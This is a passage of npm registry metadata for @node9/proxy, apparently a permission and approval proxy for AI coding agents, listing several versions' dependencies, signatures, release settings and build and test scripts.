server.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"ink":"^7.0.2","zod":"^4.5.4","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"^5.0.0","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^26.4.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.124.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"^5.0.0","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_2.14.2_1789382042876_0.38488500453964747","host":"s3://npm-registry-packages-npm-production"}},"2.14.3":{"name":"@node9/proxy","version":"2.14.3","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@2.14.3","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"37eab07c80532eb5741f2ff84b8f81cd03501139","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-2.14.3.tgz","fileCount":17,"integrity":"sha512-lUH5zpCfiPhV3QIuDk7gUemQWhtJ/VIQJvaoWJSDqEd0ZOxz4h9f6PTXIZ1Im23DVqUKphM8A7fmqZTarx/N0w==","signatures":[{"sig":"MEQCIAQ8g1F8bgI0gaWFA2hkyj1N1La21fpcMNwXG2mq40yZAiA5ULCzAdRXK7BL29D2jIWwi51XKZc13UmQLWzqbZM8KA==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEUCIHcPYBTtY4zuK2iw7WABqnrW66e+lyMOkmMqJIYd0iYZAiEAzuF9G+Vo/fN+yOWfj7YLW2cPDwNfzMsuIryAH3Oqtp0=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@2.14.3","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":7612745},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=20"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"39051e89e271545c0ae4ca1b6876bd0456706107","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","pretest":"npm run build","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","pretest:e2e":"npm run build","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.19.1","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"ink":"^7.0.2","zod":"^4.5.4","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"^5.0.0","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^26.4.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.124.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"^5.0.0","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_2.14.3_1789552865920_0.8462523948501293","host":"s3://npm-registry-packages-npm-production"}},"2.15.0":{"name":"@node9/proxy","version":"2.15.0","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@2.15.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"275b5bb503709968e2c8259b59ca8f7354d78e8c","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-2.15.0.tgz","fileCount":17,"integrity":"sha512-LC/yvdZjrf0oLt0QKxxd7Z6FCUSL+abh8Ifqu+0srFOBqNKPgYfzhQMbMFact59dvS4yqLP6dSj642tBOZJXJw==","signatures":[{"sig":"MEYCIQCtSCP+usw5xupd6P0OZOUM/nzcdqNQaIkgny9gHiBXtgIhAOzzVBis4pp6IYtsj8wNQ/0Qo7xVRSEzihvTlWglP9Hs","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEUCIQDOJWGhsGnXdsOBDCgu+xpnIuWGDXtcPu0F7PPbemf71gIgUiV5EVsN8lPpUJG25jPC2EFVHrCnoZ6EZhM8FoqaVMA=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@2.15.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":7613303},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=22"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"9b2c1057b96ada613886a0e84b0deb49d442be6b","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","pretest":"npm run build","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","pretest:e2e":"npm run build","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0","esbuild":"^0.28.1"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.19.1","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"ink":"^7.0.2","zod":"^4.5.4","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"^5.0.0","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^26.4.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.125.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"^5.0.0","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_2.15.0_1789623677179_0.8537357141776976","host":"s3://npm-registry-packages-npm-production"}},"2.16.0":{"name":"@node9/proxy","version":"2.16.0","keywords":["ai-security","agent-security","agentic-ai","ai-agent","iam","agent-permissions","mcp","mcp-security","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","copilot-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","antigravity","security-proxy","dlp","prompt-injection","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@2.16.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"6f21210162ebb81dcc3b9e9371e5c7ca4f2985af","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-2.16.0.tgz","fileCount":17,"integrity":"sha512-voR9fI5YyypGamLqkT6j7qmS/yI387PZCpjSA4K1i6ueF41pqEHnhS2caAlxl0zexlUm6tzXP21ogN7UcTeZTQ==","signatures":[{"sig":"MEUCIQDikCTiR0pUmQIQpW1T/UZrYn7kYJ7GsZ1DhRXN2rQAyQIgEXzzmQDBoPxg+uwGJxgPAViKqVME/87SQCuKT6S6t/k=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEYCIQCgxsN7G19euMdFzWd963PkXmcdD3DEfCLYLKrvt0h21QIhAKJbGmga6jPOsbX5031Lg/3amrAKlb8z0wDh01KkVywf","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@2.16.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":7616447},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=22"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"915735f92d988423203707a749d63b6298defa2c","release":{"plugins":[["@semantic-release/commit-analyzer",{"releaseRules":[{"type":"docs","scope":"readme","release":"patch"}]}],"@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","pretest":"npm run build","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","pretest:e2e":"npm run build","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0","esbuild":"^0.28.1"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.19.1","description":"IAM for your AI agents. Set what Claude Code, Codex, Gemini, Cursor and any MCP server are allowed to do, review risky actions before they run, and keep every action on the record.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"ink":"^7.0.2","zod":"^4.5.4","yaml":"^2.9.0","chalk":"^6.0.0","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"^5.0.0","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^26.4.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.125.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"^5.0.0","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_2.16.0_1789911859797_0.5074722050569602","host":"s3://npm-registry-packages-npm-production"}},"2.16.1":{"name":"@node9/proxy","version":"2.16.1","keywords":["ai-security","agent-security","agentic-ai","ai-agent","iam","agent-permissions","mcp","mcp-security","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","copilot-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","antigravity","security-proxy","dlp","prompt-injection","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@2.16.1","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"7fdf2911534c78e18572ecac784a703e8c971669","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-2.16.1.tgz","fileCount":17,"integrity":"sha512-OvBcDDAAESHh3oOdWJyYUjGaW0txQ7WZMciUb7Xc8LQGFPfpYNpvP1Nc6IyhcNbH+zYBnKDP7njcXqmKZAwHow==","signatures":[{"sig":"MEYCIQC3I5Q7HaMNiVHkJ8vNQlkRcVL646kSwk1syQ8cIQ/rxwIhANsYMtm3Sr6XeKftf5QAMF4kLJUa1t0jiBxmGAkzmTRx","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEUCIE6nO7MiTI3dzHkGB1ajjFvN8Ji0Nmb2/B2vZyzYW2W0AiEAgz076cchJu81nwPQ7Ityc0Nvi3oM83fLhROWb2ySWXg=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@2.16.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":7616002},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=22"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"f9077ce701ecd745a355700627c50fd481521f4a","release":{"plugins":[["@semantic-release/commit-analyzer",{"releaseRules":[{"type":"docs","scope":"readme","release":"patch"}]}],"@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","pretest":"npm run build","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","pretest:e2e":"npm run build","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0","esbuild":"^0.28.1"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.19.1","description":"IAM for your AI agents. Set what Claude Code, Codex, Gemini, Cursor and any MCP server are allowed to do, review risky actions before they run, and keep every action on the record.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"ink":"^7.0.2","zod":"^4.5.4","yaml":"^2.9.0","chalk":"^6.0.0","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"^5.0.0","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^26.4.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.125.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"^5.0.0","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_2.16.1_1789929828193_0.12933117400619887","host":"s3://npm-registry-packages-npm-production"}},"2.16.2":{"name":"@node9/proxy","version":"2.16.2","keywords":["ai-security","agent-security","agentic-ai","ai-agent","iam","agent-permissions","mcp","mcp-security","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","copilot-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","antigravity","security-proxy","dlp","prompt-injection","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@2.16.2","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"a5a2c0bb17a102fd3ff58aed666587846e41ebf7","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-2.16.2.tgz","fileCount":17,"integrity":"sha512-PmN7/+EBCoSp6mgtohSIypi6o/iolsIAyN+fabx7nk2uF/HHCOA+PozQXFgZ11r+pb3JYh7ucMGAMYfOCuOyLA==","signatures":[{"sig":"MEUCIQCpwV7D5Qny01/vYNeKsT+8qCIfHvJMwluK2s5rN8IG0gIgPYJykCAT0m0JCEXah8GsU8VwVARgKLb2R+by6UU0pAc=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEYCIQCHHQ1gQKX+n2gPnbo7SyS0C27v/0Vscpgihie40K3NygIhANoijEoBdBsCJo75lCUlZm8GkuGX2/O50gJkXVmLaCWc","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@2.16.2","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":7616796},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=22"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"c123abfcee2f849eaf561f6a7818452a7ffffeaf","release":{"plugins":[["@semantic-release/commit-analyzer",{"releaseRules":[{"type":"docs","scope":"readme","release":"patch"}]}],"@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","pretest":"npm run build","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","pretest:e2e":"npm run build","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0","esbuild":"^0.28.1"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.19.1","description":"IAM for your AI agents. Set what Claude Code, Codex, Gemini, Cursor and any MCP server are allowed to do, review risky actions before they run, and keep every action on the record.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"ink":"^7.0.2","zod":"^4.5.4","yaml":"^2.9.0","chalk":"^6.0.0","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"^5.0.0","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^26.4.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.125.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"^5.0.0","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_2.16.2_1789932661152_0.7402785776150245","host":"s3://npm-registry-packages-npm-production"}},"2.17.0":{"name":"@node9/proxy","version":"2.17.0","keywords":["ai-security","agent-security","agentic-ai","ai-agent","iam","agent-permissions","mcp","mcp-security","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","copilot-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","antigravity","security-proxy","dlp","prompt-injection","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@2.17.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"de979837ab168c3927f5590ad31286a0e646825f","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-2.17.0.tgz","fileCount":17,"integrity":"sha512-aXJ